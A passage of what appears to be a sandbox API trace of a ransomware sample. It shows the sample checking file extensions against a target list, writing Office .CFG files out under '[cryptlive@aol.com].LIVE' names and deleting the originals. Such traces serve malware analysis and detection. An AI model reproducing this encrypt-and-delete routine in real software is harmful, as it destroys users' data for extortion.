(lpString=".xlsx") returned 5 [0156.278] lstrcmpiW (lpString1=".xlsx", lpString2="T.ICO") returned -1 [0156.278] lstrlenW (lpString=".ppt") returned 4 [0156.278] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0156.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0156.278] lstrlenW (lpString=".zip") returned 4 [0156.278] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0156.279] lstrlenW (lpString=".rar") returned 4 [0156.279] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0156.279] lstrlenW (lpString=".bz2") returned 4 [0156.279] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0156.279] lstrlenW (lpString=".7z") returned 3 [0156.279] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0156.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0156.279] lstrlenW (lpString=".dbf") returned 4 [0156.279] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0156.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0156.279] lstrlenW (lpString=".1cd") returned 4 [0156.279] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0156.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0156.279] lstrlenW (lpString=".jpg") returned 4 [0156.279] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0156.279] lstrcmpiW (lpString1=".CFG", lpString2=".LIVE") returned -1 [0156.279] lstrlenW (lpString="CNFRES.CFG") returned 10 [0156.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0156.526] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=338) returned 1 [0156.527] CloseHandle (hObject=0x1f8) returned 1 [0156.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg")) returned 0x20 [0156.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0156.554] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.554] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0156.556] GetLastError () returned 0x0 [0156.556] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x152, lpOverlapped=0x0) returned 1 [0156.557] WriteFile (in: hFile=0x1f8, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x160, lpOverlapped=0x0) returned 1 [0156.558] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.558] WriteFile (in: hFile=0x1f8, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0156.558] SetEndOfFile (hFile=0x1f8) returned 1 [0156.558] CloseHandle (hObject=0x1f8) returned 1 [0156.558] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.558] SetEndOfFile (hFile=0x3a0) returned 1 [0156.561] CloseHandle (hObject=0x3a0) returned 1 [0156.561] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.561] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg")) returned 1 [0156.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0156.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0156.562] lstrlenW (lpString=".doc") returned 4 [0156.562] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0156.562] lstrlenW (lpString=".docx") returned 5 [0156.562] lstrcmpiW (lpString1=".docx", lpString2="S.CFG") returned -1 [0156.562] lstrlenW (lpString=".pdf") returned 4 [0156.562] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0156.562] lstrlenW (lpString=".xls") returned 4 [0156.562] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0156.562] lstrlenW (lpString=".xlsx") returned 5 [0156.562] lstrcmpiW (lpString1=".xlsx", lpString2="S.CFG") returned -1 [0156.562] lstrlenW (lpString=".ppt") returned 4 [0156.562] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0156.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0156.562] lstrlenW (lpString=".zip") returned 4 [0156.562] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0156.562] lstrlenW (lpString=".rar") returned 4 [0156.562] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0156.562] lstrlenW (lpString=".bz2") returned 4 [0156.562] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0156.562] lstrlenW (lpString=".7z") returned 3 [0156.562] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0156.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0156.562] lstrlenW (lpString=".dbf") returned 4 [0156.562] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0156.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0156.562] lstrlenW (lpString=".1cd") returned 4 [0156.562] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0156.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0156.562] lstrlenW (lpString=".jpg") returned 4 [0156.563] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0156.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0156.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0156.563] lstrlenW (lpString=".doc") returned 4 [0156.563] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0156.563] lstrlenW (lpString=".docx") returned 5 [0156.563] lstrcmpiW (lpString1=".docx", lpString2="S.CFG") returned -1 [0156.563] lstrlenW (lpString=".pdf") returned 4 [0156.563] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0156.563] lstrlenW (lpString=".xls") returned 4 [0156.563] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0156.563] lstrlenW (lpString=".xlsx") returned 5 [0156.563] lstrcmpiW (lpString1=".xlsx", lpString2="S.CFG") returned -1 [0156.563] lstrlenW (lpString=".ppt") returned 4 [0156.563] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0156.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0156.563] lstrlenW (lpString=".zip") returned 4 [0156.563] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0156.563] lstrlenW (lpString=".rar") returned 4 [0156.563] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0156.563] lstrlenW (lpString=".bz2") returned 4 [0156.563] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0156.563] lstrlenW (lpString=".7z") returned 3 [0156.563] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0156.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0156.563] lstrlenW (lpString=".dbf") returned 4 [0156.563] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0156.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0156.563] lstrlenW (lpString=".1cd") returned 4 [0156.563] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0156.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0156.563] lstrlenW (lpString=".jpg") returned 4 [0156.563] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0156.564] lstrcmpiW (lpString1=".CFG", lpString2=".LIVE") returned -1 [0156.564] lstrlenW (lpString="CONTACT.CFG") returned 11 [0156.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0156.564] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=783) returned 1 [0156.564] CloseHandle (hObject=0x3a0) returned 1 [0156.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg")) returned 0x20 [0156.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0156.565] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.565] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0156.566] GetLastError () returned 0x0 [0156.566] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x30f, lpOverlapped=0x0) returned 1 [0156.626] WriteFile (in: hFile=0x1f8, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x310, lpOverlapped=0x0) returned 1 [0156.627] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.627] WriteFile (in: hFile=0x1f8, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0156.627] SetEndOfFile (hFile=0x1f8) returned 1 [0156.627] CloseHandle (hObject=0x1f8) returned 1 [0156.628] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.628] SetEndOfFile (hFile=0x3a0) returned 1 [0156.630] CloseHandle (hObject=0x3a0) returned 1 [0156.630] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.630] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg")) returned 1 [0156.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0156.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0156.631] lstrlenW (lpString=".doc") returned 4 [0156.631] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0156.631] lstrlenW (lpString=".docx") returned 5 [0156.631] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0156.631] lstrlenW (lpString=".pdf") returned 4 [0156.631] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0156.631] lstrlenW (lpString=".xls") returned 4 [0156.631] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0156.631] lstrlenW (lpString=".xlsx") returned 5 [0156.632] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0156.632] lstrlenW (lpString=".ppt") returned 4 [0156.632] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0156.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0156.632] lstrlenW (lpString=".zip") returned 4 [0156.632] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0156.632] lstrlenW (lpString=".rar") returned 4 [0156.632] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0156.632] lstrlenW (lpString=".bz2") returned 4 [0156.632] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0156.632] lstrlenW (lpString=".7z") returned 3 [0156.632] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0156.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0156.632] lstrlenW (lpString=".dbf") returned 4 [0156.632] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0156.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0156.632] lstrlenW (lpString=".1cd") returned 4 [0156.632] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0156.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0156.632] lstrlenW (lpString=".jpg") returned 4 [0156.632] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0156.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0156.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0156.632] lstrlenW (lpString=".doc") returned 4 [0156.632] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0156.632] lstrlenW (lpString=".docx") returned 5 [0156.632] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0156.632] lstrlenW (lpString=".pdf") returned 4 [0156.632] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0156.632] lstrlenW (lpString=".xls") returned 4 [0156.632] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0156.632] lstrlenW (lpString=".xlsx") returned 5 [0156.632] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0156.632] lstrlenW (lpString=".ppt") returned 4 [0156.632] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0156.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0156.633] lstrlenW (lpString=".zip") returned 4 [0156.633] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0156.633] lstrlenW (lpString=".rar") returned 4 [0156.633] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0156.633] lstrlenW (lpString=".bz2") returned 4 [0156.633] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0156.633] lstrlenW (lpString=".7z") returned 3 [0156.633] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0156.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0156.633] lstrlenW (lpString=".dbf") returned 4 [0156.633] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0156.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0156.633] lstrlenW (lpString=".1cd") returned 4 [0156.633] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0156.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0156.633] lstrlenW (lpString=".jpg") returned 4 [0156.633] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0156.633] lstrcmpiW (lpString1=".CFG", lpString2=".LIVE") returned -1 [0156.633] lstrlenW (lpString="DISTLIST.CFG") returned 12 [0156.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0156.668] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=805) returned 1 [0156.668] CloseHandle (hObject=0x380) returned 1 [0156.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg")) returned 0x20 [0156.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0156.683] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.694] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0156.704] GetLastError () returned 0x0 [0156.704] ReadFile (in: hFile=0x350, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x325, lpOverlapped=0x0) returned 1 [0156.724] WriteFile (in: hFile=0x3b4, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x330, lpOverlapped=0x0) returned 1 [0156.725] ReadFile (in: hFile=0x350, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.725] WriteFile (in: hFile=0x3b4, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.725] SetEndOfFile (hFile=0x3b4) returned 1 [0156.725] CloseHandle (hObject=0x3b4) returned 1 [0156.725] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.725] SetEndOfFile (hFile=0x350) returned 1 [0156.727] CloseHandle (hObject=0x350) returned 1 [0156.727] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.727] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg")) returned 1 [0156.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0156.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0156.728] lstrlenW (lpString=".doc") returned 4 [0156.728] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0156.728] lstrlenW (lpString=".docx") returned 5 [0156.728] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0156.728] lstrlenW (lpString=".pdf") returned 4 [0156.729] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0156.729] lstrlenW (lpString=".xls") returned 4 [0156.729] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0156.729] lstrlenW (lpString=".xlsx") returned 5 [0156.729] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0156.729] lstrlenW (lpString=".ppt") returned 4 [0156.729] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0156.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0156.729] lstrlenW (lpString=".zip") returned 4 [0156.729] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0156.729] lstrlenW (lpString=".rar") returned 4 [0156.729] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0156.729] lstrlenW (lpString=".bz2") returned 4 [0156.729] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0156.729] lstrlenW (lpString=".7z") returned 3 [0156.729] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0156.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0156.729] lstrlenW (lpString=".dbf") returned 4 [0156.729] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0156.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0156.729] lstrlenW (lpString=".1cd") returned 4 [0156.729] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0156.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0156.729] lstrlenW (lpString=".jpg") returned 4 [0156.729] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0156.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0156.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0156.729] lstrlenW (lpString=".doc") returned 4 [0156.729] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0156.729] lstrlenW (lpString=".docx") returned 5 [0156.729] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0156.729] lstrlenW (lpString=".pdf") returned 4 [0156.729] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0156.730] lstrlenW (lpString=".xls") returned 4 [0156.730] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0156.730] lstrlenW (lpString=".xlsx") returned 5 [0156.730] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0156.730] lstrlenW (lpString=".ppt") returned 4 [0156.730] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0156.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0156.730] lstrlenW (lpString=".zip") returned 4 [0156.730] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0156.730] lstrlenW (lpString=".rar") returned 4 [0156.730] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0156.730] lstrlenW (lpString=".bz2") returned 4 [0156.730] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0156.730] lstrlenW (lpString=".7z") returned 3 [0156.730] lstrcmpiW 